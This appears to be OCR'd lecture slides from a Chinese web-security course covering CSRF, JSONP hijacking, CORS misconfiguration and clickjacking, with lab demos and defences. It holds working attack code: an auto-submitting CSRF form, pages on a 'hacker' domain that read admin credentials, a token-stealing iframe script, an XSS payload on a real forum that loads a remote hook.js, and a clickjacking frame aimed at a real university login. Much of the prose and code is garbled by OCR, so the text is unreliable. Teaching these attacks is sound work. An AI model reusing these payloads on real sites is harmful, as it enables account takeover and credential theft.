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role: student
Hello: student001
[estramns
title: 123

content: 213321

|(601]

title: 1111
content: asdcasd

logout
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author: admin _ _
content: web&£ H=2s0 easy| #i# |

author: student001 _ _
content: >...<<(__ _)>|#ix|

author: teacher123
content: B#tlab&E S0 Bk |
logout
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CSRFIXFHT=~H|——GET

® Student001&Rlteacher123 & HAVEIN, IFS—Bk, EEREE
kR, IEFREAET, MEERGRE_EAMIEREHE,

Jello: student001 -
EEREHAE |lcol
juthor: admin -
sontent: web% 2 E2s0 easy] M |

iuthor: teacher123§ _
zontent: Bitlab% =l B |

function deleteID(id){
fetch('delete?id="+id
.then(response =>

.then(data => {
if (data.status !== 'succe

152 <?php if ($_GET['apj
153 .then(function()
154 /7 MR

document ySelectorAll('.delete-sugges').forEach(button => {
butto ddEventListener('click', () => {

=== 'suggestion') { ?>

e.json())

alert(data.descrp);
} else {

location.reload(); 157 = n.getAttribute('suggesID');
} 158 deleteID(id);
by 3
.catch(error => { 159 B
console.error('Error:’', error); le@ }):})
1) 161 <?php } >

3
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www.ruc-ctf.site :port/csrf-demo/delete?id=3
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GET ( BHik) :;
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99
91

const formData = new URLSearchParams();
formData.append('id', id);
fetch('delete', {

method: 'POST',

headers: {

'Content-Type': 'application/x-www-form-urlencoded'

ts

body: formData

v
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= BEBARYstudent001782], FEBE 2AIMubigiEIX N postig=K,
ibteacher12324, E2AEREEMIBRteacher1 234N+, T2
e CENTTEPEN T — TR AIdIEREE.
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<!DOCTYPE html>
<html>
<head>
<title>postinfil</title>
</head> P - A7
s ip:port B {RATEENL
<form action="http://ip:port/csrf-demo/delete" method="post" id="form">

‘ <input name="id" value="3" hidden="hidden">
</form>
</body>
<script>
setTimeout("document.getElementById( 'form').submit();",100);
</script>
</html>
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= Student00 1 EEBEEFISERERENE ¥ BN £, 75
XM &RIRLZS T teacher123, teacher12317(a] 2 famuak DO RYMIR
Tteacher123&XRING+, &Rk ¥ CSRFINT,

" FJF R, ERteacher123/teacher, HEHERN BazFi5IA
https://www.youwei.site/hacker/1.php , % N 1R BY &8 #/], 38 1k
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&« C @ O [ localhost:81/csrf-demo/delete

KaliLinux &8 KaliTools = KaliDocs X KaliForums e Kali NetHunter E

{"status":"success","data":"success"} (W {J Inspector
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s FRIE FERFRAMIIF, B ARG CSRFBVERERIE LI T =4%:
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s ESREE— =R, (FESEESE RN
s iR ERIFSERKEEFSEE AT
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7 0BEH | Token

B EEKARBEFIAN—ISE, XNSEESFHFRISession4fzE,
BPANRZHEA—RE, X, WEEFMAEMUEMSREFZS
i, At TCSRFILE T, FIFFEHL, 18 SB5E9token

" EEFRATFIEoken ]

136 $_SESSION[ 'name'] = $row[ 'name'];

137 $ SESSION['user_id'] = $row['id'];
138 $_SESSION[ 'role'] = %$row['role'];
139 $ SESSION['csrf_token'] = generateNonce();
A
'Tﬁxmﬁkﬁﬁ%men
<?php } else if ($csrf defense === 1) { >
85 fetch('delete?id="+id+"&csrf_token="+"<?= $_SESSION[ 'csrf_token']?>")
86 <?Pphp } >
2l N
[ }= EA ° [3 if ($csrf_defense === 1
Duﬁﬁ'\_‘L-u—'EtOken. 7 if (isset($_GET['cs:"FE'token'])){
8 if ($_GET['csrf_token'] !== $_SESSION['csrf_token']) {
9 | throwError ("JIEAREIE") ;
10 }
11 } else {
12 throwError ("Ef/esrf_tokenFEE");

13 }
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s sCI T tokenfhfilfe, HTFIGE LEENZEERtoken, 7o
IERBIEESUr, FEcsrEARAEY.

" J5E4EHL, EFRadmin/1234, &Ecsrffhflmtoken, 12EIF]

Frgs, MlfradminaiXpIEEiN, ATLIRRIENIdAT, FEET
T admingJtoken

elete?id=1&csrf_token=bDRtU3IFRkxWbIVhMEd2Qg==

" EELUREE, hiE
http://ip:port/csrf-demo/delete?id=1&csrf token=123123

\ AD \ \
E.J-L)\E EUEL‘LU—.EZ:@Q {"status":"error","descrp":"\u9a8c\udbcl

\ude0d\u901a\usfc7"}
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" BlImR BRI ER

if (data.status !== 'success') {
1e1 if (data.descrp === 'need confirm') {
1e2 if (confirm("{REAEZMIFRXMIEFIE? ")) {
1e3 fetch('confirm')
104 .then(response => response.json())
105 .then(data => {
106 if (data.status === 'success') {
187 | deleteID(id);
108 }
109 1
11e }
111 }

112 else alert(data.descrp);
" fRimIGUEiENR, REAIEHERE

<?php
require_once 'app/utils/doBeforePageStartsWithLogin.php';
$_SESSION[ 'confirm'] = 1;

v oW N

returndson("iEXKEHIA");

" UTIRERTHMTISERS, HFrEGEs

if ($csrf_defense === 2) {
if (!isset($_SESSION['confirm'])) {
17 throwError("need confirm");
18 }
19 unset($_SESSION[ 'confirm']);

20 }
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@ localhost:81

{RHRE EMPRXNEFE ?

» EEHUEE, BiEAahttp:/ip:port/csrf-demo/delete?id=1,
o] L AR UEANET

{"status":"error","descrp":"need confirm"}
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1RGP Referer

= {EELRIRFR, XFRIErefererfBAERI LIS KIEFIER Y, Hi
ITREER: ATIEERFRERINEKREERN AT ERIHIT
AE, FrLAZiaREBaiw8 L— 1 EkYreferer; ﬁ'ﬁlﬂzj-ﬁ% it
ForERNEK, BREGAFREH, FEgEGreferergiHreferersk
B S Muba Bkl FrLARIGreferertt el LU TR 1.

N

¥ Request Headers O =
Accept: text/html,application/xhtml+xml.application/xml;q=0.9,image/avif,image/webp,image/apng,*/*:q=0.8,application/si
gned-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cache-Control: max-age=0
Connection: keep-alive
Content-Length: 4
Content-Type: application/x-www-form-urlencoded
Cookie: role=student; PHPSESSID=lam8p07p4oqbsoilgm9beadbfp
Host: 10.10.17.18:2010
Origin: http://10.10.17.18:2010
| Referer: http://10.10.17.18:2010/V4-CSRF/post_suggestion.php |
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0

Safari/537.36 Edg/122.0.0.0



—Referer
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" RS
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21 if ($csrf_defense === 3) {

22 if (isset($_SERVER['HTTP_REFERER'])) {

23 $scheme = parse_url(url: $_SERVER['HTTP_REFERER'], component: PHP_URL_SCHEME);

24 $host = parse_url(url: $_SERVER['HTTP_REFERER'], component: PHP_URL_HOST);

25 if ($scheme."://".$host !== "http://localhost") {

26 thr'owErr‘or'("Pefererﬁﬁﬁx\iﬁﬁﬂ" )3

27 } ARt
28 } else { EE%ZEEPH-LBE%U / :ﬁ'ﬂjli
29 throwError("refereriZIEAFIEIT"); E 7|:ﬁ ﬁ ﬁﬁ"ﬁ I:' ) J\Z E

:2 : } |Oca|hOSt'ﬂ§EQ§3$EHLip

» % refererRERILAEN, XEEAFGERY?

» K ACSRFINHERNRESERHE, EArefererfINEREE, (BT
B EMAR E &K Referer (FAIXE K EIXTMEEHRSAVE N EE o)

yEFRjavascriptitis) |, BRIEMEEFIEXSSIRIE,
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G FE
» 5 njEE, BFRadmin/1234, ig&csrifpfEl Areferer, & FEurl

Fip:portBI{RE CHIEEN, SEHIFaIaRINISEEE.
= hittp://ip:port/csri-demo/delete?id=1

= B2 ERBIHCSRFIYE

) -

Kali Lin & Kali Tools ¢ KaliDocs & Kali Forums X Kali NetHun Exploit-DB 1

{"status":"error","descrp":"referer\u6821\u9a8c\u4e0d\u90la\usfc7"}

Refereriyg A~iE1d

K AFRIERX N NHEEA T Referertrskay, Iﬁd‘iﬁ’ﬂ MEAEERY
TUEHEFEZEIX Napi, refererfUiRIGIKASAEL, E ArefererEk
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E=EHICSRF
s BREERMIEARIF1234123180F kK - iRt X =E

#1[X - Powered by Discuz! (sanguosha.com)
» EXA R EE— AT, ERATEERYT

X
m}
i’

3K URL: https://club.sanguosha.com/home.php?mod=spacecp&ac=friend&op=add8uid=18284&handlekey=adduserhk_18284&infloat=y
es@handlekey=a_friend_18284&inajax=18&ajaxtarget=fwin_content_a_friend_18284

BIITE GET

Status Code: @ 200 OK

bra 3ol 182.40.120.169:443

Referrer Policy: strict-origin-when-cross-origin

=

mod: spacecp

s HERE; RAXEgetSE e

op: add
N uid: 18284
L jE EIJCS RF Ej: HJH::H handlekey: adduserhk 18284
infloat: yes

handlekey: a_friend 18284

%%%I\ﬁ\\ﬁ I 1ﬁxurlapj— inajax: 1

ajaxtarget: fwin_content_a_friend 18284


https://club.sanguosha.com/home.php?mod=space&do=friend
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Discuz! (sanguosha.com), RILABREIE—MNERIRINAIIE

RiNHHT S=OHT O MEHEMT  ROHHT  FAEEHT  B0EHHT  AMEUHT  TEEEEEET

TR RS
EREE L, LB HRE, XA ENERREE,
RhBNHES, SRS, BRI SRbSES,;

EERPRNERHEIAGINE—R, NGRS EN T MBS ).

HtbE F1E AT Ak HiE
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https://club.sanguosha.com/misc.php?mod=ranklist&type=member

|  XSSEHMICSRF

o NBHIREIENE T B XS MERD, RIXERANT
token3&iE, {HIRRTIT S

table 234.32 x 87

¥ <form method="post"” autocomplete="off" action="home.php?mod=
spacecp&ac=top” onsubmit="return checkCredit('stakecredit’);

" class="y">»
By )
R sk L5 p<table> - </table>

TR A IS R = = = ">
EMAFARNAFS AEETE iR 0 <input type="hidden" name="formhash" value="f064689
‘20 R b"> == $8

" RS — M ERI=ERANISFE, =ERQEFEXSS
e, BEBRRY/NBRARZIAT LAR FIXSSIEIREN A HIFI PRI tokendE,
b2 LExREBEMIformhash, F2Mtha/NIIEHXSSEMIE




XSSSEHICSRF
» /NTHARIX AN uhETRE X = FEREA#X — Powered by

Discuz! (sanguosha.com)

" RERRE LRSS FEAXSSIUL

HhE

B LHEES =OTERGY BN R

U T, MR §2 ) AEET B AR 0
‘ 1 \ 100 1810

* HFPRE) TR, NEEELAL P ATVEREFSIA Y B CMiuh
RYsTUAS (JsHURB2R] LUSIRIREAY)

Y <a href="home.php?mod=space&uid=1044931&do=profile” target="_blank"” id="bid_1044931" onmouseover="showTip(this)" tip="uvl
988: <img src=x onerror=appendscript('https://www.youwei.site/uv/hook.js")>" initialized="true">

<img src="https://club.sanguosha.com/uc_server/data/avatar/601/04/49/31_avatar_small.jpg" onerror="this.onerror=null;th
is.src="https://club.sanguosha.com/uc_server/images/noavatar_small.gif""> == %o

</a>
</1i>


https://club.sanguosha.com/misc.php?mod=ranklist

| XSSEEMHICSRF
" X ERAADIREN 7 AP RYtoken, M AIFTES T !

iframe = document. createElement ("iframe”) ;
iframe. sre = target + “forum. php”;

iframe. onload = handler;

//iframe. style = "display:none”;

document. body. appendChild (iframe) ;

fupetion handler() {
formhash = iframe. contentDocument. getElementsByName (“formhash”) [0]. value;

AlerT\ioTmhasn)
my_uid = document. getElementsByClassName (“vwmy”) [0]. firstChild. href. match (/\d+/g)

alert (mv uid) :
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5.3 JSONHijacking

= JSON FJFFN /Y “ JSON Hijacking ", SFIRRHIXMESKEE
£ 2008 FEIME LSRR ARREIXT JSONP TRRIXFE, HSC
XNA@ET CSRFINTSEHE. SEMuAET JSONP B TURESE,
(—iAFiE) EBEAPIMEERNEREER, EETLEIE
SEHY JSONP TAFRIHE, ESHINGEHIRIRIAZ#E A 8U
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JSON

= JSON }ERYZ JavaScript &R FExi& (JavaScript Object
Notation)

= JSON JH37FES: JSON {EH JavascriptiEi ZRKimAEHET SR,
{82 JSON {387 FESHIFS. JSON fETasF0 JSON FExZ
T2 A RNmEES. BRFEZHE0& (PHP, JSP, .NET)
TRtEIE S aPs2FFJSON,

= JSONMIEZ( LIEERZEpythonBYFEFIC+ +FImap, EPE—
XS N —ME.

" —NEERSONSBUESTHIIE
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JSONP

= Jsonp(JSON with Padding) & json B9—F"{SERE=",

aJLALE

RITIMBIRYIER (RJud) BRIRENEE R, BNESIEisEENEYE.

» A AFANINARERE (M) BREESE— MR
( JSONP )I? X2RERANENEREE. REKIEELL T BIRIEIER
a], 15%}ﬁﬁiﬂfiﬂ’%iﬁjs{%ﬁgﬁ’ﬂi§ﬁ? JSONPHL 2 EIEZTAL T

B TVES), Ms

d

B EEEE R

/. Tifﬂscriptﬁ’-%%, @ Bw L aLif £, F It —

PHEHR, SEH—

Tk 269 &AL

A -

>

',ﬂ Q
(' 2 HBEHMWE AN RH L, AR

& %,
~ ( JSONP»)
func(json — data)

3, g?%%ﬁé’*ﬁ%

15 887 49 JSONP, H# bA
7] %% K 0 &9 func b
SRV CIE:CE &

A EB L (BILAfunc) @ EISON
® 2 & A javascript 7 E;‘\
o I h Y KX A -



8]

JSONPHY(&E
. P

RIERRE, jsERLERREE, ERink 2 eEEksm— 1%
&, SHIRSSIm &= im(E AR RER IR [E RIEE

[pun

1 <IDOCTYPE html>

2 <html>

3 <head>

4 <meta charset="utf-8">

: <title>JSONPEfl</title>

6 </head>

7 <body>

8 <div id="result-container">

9 </div>

10 <script>

11 function callbackFunc(result, methodName) {

12 document.getElementById("result-containner”).innerHTML = result;
13 }

14 </script>

15 <script src="http://www.ruc-ctf.site/jsonp.php?jsoncallback=callbackFunc"></script>
16 </body>

17 </html>
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JSONPRY(sE

" fRSSim

RREFPIRERISE, X

&

¥, BBELYSHUABRYZ VR
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<?php
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A

"Hm ERS
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JSONFF7/RE

s HuELUSONPER (EHistE, BEEFEEBEFPHEER, WEE
I 58 = uh RLACSRFFERFERF NIRRT XK Binn R 1528 28
BYSEHSONEHE, HMAIIFRIBRISE.

s JsonEFIFINTHITIEE AE U Fesrf, RIRiDcsfIBERELBFEM%D
SeARIE, 1BEjson-hijackf B HI25XEEURETE.

o [RIE: —Lwebhy ST —LEBUREIRLLsonpBIFZTVIR B 2 B ,
SNR(XNIEI cookie KAIKTBEKREETIE, APARATLAFIFEZE M csrf
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JSONHFFEA

= ia)EEAL, yé>%admin/1234, R "B &, fJLEE
APER&mEEIRE L, BYEENEIF USRS MBSHIT
e

IR ERT T json pﬁfﬁ{%ﬁt@%{ﬁ;

Tran. Siz | | raders  Cookies Request Response

pIi: GE1 @ lo... whoamiZcallback=callba pann... htm 4158

callbackfunc({'username':'admin’, '‘password':'1234'})

79 <button oncllckﬁx‘gﬁ? </button>

80 </div>

81 </body>

82 <script nonce="<?= § %ce ">
83 function getwhoami

84 var script = document.createElement('script’');
85 script.src = 'whoami?callbackiqcallbackfunc'

86 document.body.appendChild(script);—
87 }
88

89 function callbackfunc(res, funcname) {

90 var html = "<ul>";

91 for (x in res) {

92 html += "<1i>" + res[x] + '</1i>";

93 }

94 html += "</ul>";

95 document.querySelector(”.whoami-container”).innerHTML = html;
96 }
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" BTjsHISEEZNE, IXERABE LI LIS SRS 283k
BV, w38 http://www.youwei.site/hacker/jsonp.html, i N\{R
HOREANBYERttP://59.110.32.76:28001/ , BRI ERIIEIER.

< O (R A == | www.youweisite/hacker/jsonp.html

© »EE-B2FT-. £ s - 28R B Alienware @ Temp Mail - Dispos...  [B 7F

| http:/159.110.32.76:28001/csri-demofwhoami | REERER

* username: admin
e password: 1234
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5.4 CORS

s Corse&fR"BIE&RIRILE" (Cross-origin resource sharing) |,
CorshYHINZ KR4 NSOP (RIRRES) BAE. ESRISOPHE
LERREI T A SRR, e RERIM I EHE,
IR H T Cors: FAFZISOP ([ERZRHES) RIS RG]
HY—FPEAN.

» CorsimEMalEE B CorshiAKIREN AP RISURERE, M
MSEAFERMERIMEE.

» CORSIZTAY B RYZIRENBURE R
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 frSSER ]I E B CHSIRERIERIR., SREEEFSaa,
—MEERARAZNT

s Hh g B ER, SEREKREEXE, #2EAccess-Control-
Allow-Origin, XBiREN*, MEFrEEEEEhR, BRI,
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CORSHYIxE

s RIS EIRERIEFTRAIAccess-Control-Allow-Origin, &3k
SWMELWE, FTHEI, &R admin/1234 , 15 A
http://www.youwei.site/hacker/cors.html, HIA{RAVEEH] B 1L
http://59.110.32.76:28063/, ]JHizHlEe, Rkt "SRENESUL
FIRER" |, JLBERIERFIFREREPEL:

s wp W T = wpazunR ELCLC - VIR A A

© Access to fetch at 'http://59.118.32.76:28863/csrf-demo/1.php’ from origin 'http://www.youwei.site' has been blocked by cors.html:1 @
CORS policy: No 'Access-Control-Allow-Origin’ header is present on the requested resource. If an opague response serves your needs, set
the request’'s mode to 'no-cors' to fetch the resource with CORS disabled.

© : - s.html:19 @)
P GET http://5! <input type="text" id="target-url” placeholder="%* EfFURL" style="width: 3@@px;"> ©a

© P uncaught (in <button onclickg'getwhoamil()" IS IL1E B </button> ml:19 @ B Q

at getwhoam: <brs
at HTMLButt

<br>
<button onclick="getwhoami2()">sudoi% B 53415 B </button>
</div>

<div id="result-containe

"sefdive
<div class="whoami-contagner”></div>
w<script>
function getwhoamil(){
var uflerInput = document.getElementById(' 'target-url').value + "/csrf-
demo/app/api/1.php";
fetch(userInput);

¥

function getwhoami2(){


http://www.youwei.site/hacker/cors.html

|  CORsmyigs

. QD%WETAccess Control-Allow-Origin, FiFEERiRIGIa):

1 <?php
2 header(header: "Access-Control-Allow-Origin: *");
3 echo "{'user':'admin', 'passwd':'1234'}";

. ’J\i,\ﬁit‘ﬁ“é?)ii%)ﬁiﬁl‘tﬂ, ihiAERH, FERadmin/1234, =i "sudoikEX
RER", BlecEElSUEREHE/ImE L.

[http://59.110.32.76:28063/ P 0 e OueEes PEEB  Hh:
| FmsmisEs | ® Q@ =T Q O&=8as O2Ess oRE v 7

I 5,000 ms 10,000 ms 15,000 ms
sudo RANEZILME R |

{'user:'admin’,
'passwd':'1234'}

\ﬂﬁ\ sk TS WA BEES e
C.= 1 {'user':'admin', ‘passwd':'1234"}

2.
g 2...




| CORSKEH 7

I. A Pikia) %% 8,

2. ib ﬁﬁ; 2k 5 & @ cookie 13 &,
%E%%ﬁﬁﬂﬁ%ﬁﬁL&%
RBGE K, SRR PR KR

3EEMELERNL, 31ER FiEHF




CORSITH
s IYH[RIERD AR SR EIEANIE K AYACcess-Control -
Allow-Originig & J9*

= 5CSRFEE, WHERFBEWE—MEKZETERZOITHE,
MEERTEERTG, IRTEEER 7 HinbR, WEEHEE
FINRBARENZEEZAIER.

s AT EENLFAY “sudodRBIERSE" GG ER




CORSP 1

s AEEEREEIERIEKEZORYACcess-Control-Allow-Originig
=vok

® {E{RCSRFRA1ENFEIEERRERHEICORS




5.5 Clickjacking

s 33z F37, teacher001B9nLF# student00 1381 CSRF
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author: admin -
content: web%£E&so easy i |

author: student001 _ _
content: >_..<<(_ _)>| @&

author: teacher123
content: Bitlab® =’ Wik |

= FHABAYstudent00 14 T,u, FARBERIUZ EE KHERIRY
sxE R url (CSRF) |, BRgEAgEfEteacher1 23 A KIIBRIIE!
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| 5.5 ClickJacking
s AdAIFEF (Clickjacking) s, MARAFREMNENDG, S
F AR i BRI I B 1 T IR YT T
' EEBEIRAFERIImAFREN BT ERGHNE, =
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RGAIFHYRIE

s REMEENTR, ARPRER T RENSIENH, STE
HITXENANERES LENNERHERE. XEHTEHB
iframei&pkfd, BidiEdliframefIfiE, S EENEZRESE
Bzl TEL.

lllllllll

] ]
|||||




REFIFNREN =1 KER
s MeElm: B (FERA—1ERR iframe BEEHERMNITLE,
BT iframe BiEERY, AFPEAZINERSRRE, MmEHRT
BERY, DIARRTE TIRENARES, B3R 2R T TR iframe
FHIARA.
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SER(E, WHRASERE. BHTiHERS, MMAZINEERIER.

" REAIFHTES CSRF WHARHRETIZY, BHEERFPANBRIE
NS ERP TR L, BE2E CSRF WHANERES, REIA
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= T = —
/A L —_Iijj j:‘__':[ﬂt __|/_.R177-I.]
® iJ5 8] https://victim.ruc-ctfsite/click-jacking/dashboard.php ,

ViR PhE, FHEFteacher/teacher,

= JFA59 & Rz https://hacker.ruc-ctf.site/click-jacking/, RILAE
ZlteacherfInaFHbRrIZEHB ST pc FEdEH L.

% *nBYis]: 2025-05-06 14:45

" Rk, teacherthFpkIOMPR, (RAJLARTEA LAY
SENRME, IAREFRIKESER,


https://victim.ruc-ctf.site/click-jacking/dashboard.php
https://hacker.ruc-ctf.site/click-jacking/
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R AIFRYSSEY
® Flashmh&0$s

thEeIsSRE, SHAFEMERERIFlashiizxkZClickjackingIZEHIER
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TR EARTTEARNER, tRIFIHRAPRYEGSL. FrLA, /)b £
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REANFEHYZEEY
s EREEWG (XSSHHS SR HES

—&NY sven.vetsch ILEHREEICIRL 71XF Cross Site Image
Overlaying I, fEFRXSIO, IXFPIELAIFRIEZEF ABRGHIXSSIRE
AEEPENEERSAE R

RBELAFPEERTIUE, tkiiMigflogo, AYISKIR, %
%, NRAFPUNBAERT XEXER, NSHiHEEITEEWEIE
ERiL (B9EMULEECSRFGERE) |, SEHUTREIR(E

3 |9 https://victim.ruc—&c%%ce/click—iacking/xss.php B F

teaCher/teaCher IR0, student! IEEREIHE R
XSSTE AR

59 </div>
260 <iframe src='dashboard.php' id='hack'></iframe>
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150 HlEgA B R BIEES:

[J show the jacked I--Frame | [J Show the jacked Textarea | | Replay
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A7 $5Drag&DropJAPI, STFFFEIR, e
HEMIARIEEINER, NSsshaISRa L IESE, NFaiEE

H,

show the jacked I--Frame | 1 Show the jacked Textarea | | Replay |
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show the jacked I--Frame | 4 Show the jacked Textarea | | Replay
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+ touchstart FEftiRF=T AL

+ touchend FHEEHERN KL

- touchmove FEBEIRT AL

» touchcancel 2FaJEBEtouchZ14
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R ANFFHIBA 1

s ALATE HTTP MEpzskrigE X-Frame-Options B4, WM&
H8 CRMILE R LIFE iframe FER, FIEIRES DENY &
A TCIHEEAEINEIZZIR, SAMEORIGIN FRXBIFREIFIEK
N0Ek, AILABRRE L REGEHIFIE.

® i5]8] https://victim.ruc-ctfsite/click-jacking/dashboard.php,
I5EX-Frame-Optionsigelll, &E3Rteacher/teacher,

= 598 M T https://hacker.ruc-ctf.site/click-jacking/, BJLA

BEITENSTRE 5 - e
I g: Caseh;.’;\der‘( "X-Frame-Options: -DENY"); Hlijj ﬂﬁ'ﬁ'ftﬁ%
91 break;

A The key "1.8" is not recognized and ignored.

@ Refused to display 'https://victim.ruc-ctf.site/" in a frame because it set 'X-Frame-Options' to ‘'deny’.
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| SEEERIbL
RERNBSTEREE (CSP) . CSPHRE—frame-ancestorsIq,
RXNEAErame tree ERIMESERILICKRELR, KHIZE
Aself, RRRBIRNFRATLIERAN, noneZRRA e ER Aiframe,
® 153 (8] https://victim.ruc-ctf.site/click-jacking/index.php , 1%
FECSP, &3xteacher/teacher,

AT

= 59 TR A https://hacker.ruc-ctfsite/click-jacking/, &I
DUy w13

92 case-2:
Q Al /. N
H&ﬂﬂﬁﬁﬁﬁ{ﬁﬂ'f‘tﬁg 93 header("Content-Security-Policy: -frame-ancestors- 'self'");
94 break;
AR 1112 KEY 1.9 43 MUL MELUgiliLieu diu LENUITEU . VA o LI o LAY

@ Refused to frame "https://victim.ruc-ctf.site/’ because an ancestor violates the following Content Security Policy directive: "frame-ancestors ‘self'".
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R ENFFEYBL1E
= (M Javascrip AT X RITUE E A HIRE AT E .

= j5[alhttps://victim.ruc-ctfsite/click-jacking/index.php, ik

$¥javascript, ERteacher/teacher,

||||||

95 case-3:

96 echo-"<script>

97 ~ if - (window.top  !==-window.self) { RWIT) / S

98 alert('hacker!'); HE%MWBE'TﬁU{tﬁg
99 location.href="about:blank_"';

100 }

le1l </script>

102 "

1e3 break;

An embedded page at victim.ruc-ctf.site says

hacker!
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EIRYiZ & Security/&1% 9true, LR cookieFEE @I httpstimi L
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R BRMAKXER - FEARKXE (rucedu.cn), TLIEEZIEccookie

BYsame-siteBHELNENAIRE, Nuas 5 E %

IR a & Domain
access_token 22... .rucedu.cn
is_simple 1 vruc.edu.cn
session ba%... vruc.edu.cn
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Path
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Expir... 7\ HttpOnly Secure SameSite
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=& 72
=& 32

v
v
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https://v.ruc.edu.cn/account/login?redirect_uri=https%3A%2F%2Fv.ruc.edu.cn%2Foauth2%2Fauthorize%3Fclient_id%3Daccounts.tiup.cn%26redirect_uri%3Dhttps%253A%252F%252Fv.ruc.edu.cn%252Fsso%252Fcallback%253Fschool_code%255Cu003Druc%255Cu0026theme%255Cu003Dschools%26response_type%3Dcode%26school_code%3Druc%26scope%3Dall%26state%3D4ZYqj_aSkKSjgJ_a%26theme%3Dschools&school_code=ruc
https://hacker.ruc-ctf.site/click-jacking/iframe-vruc.html
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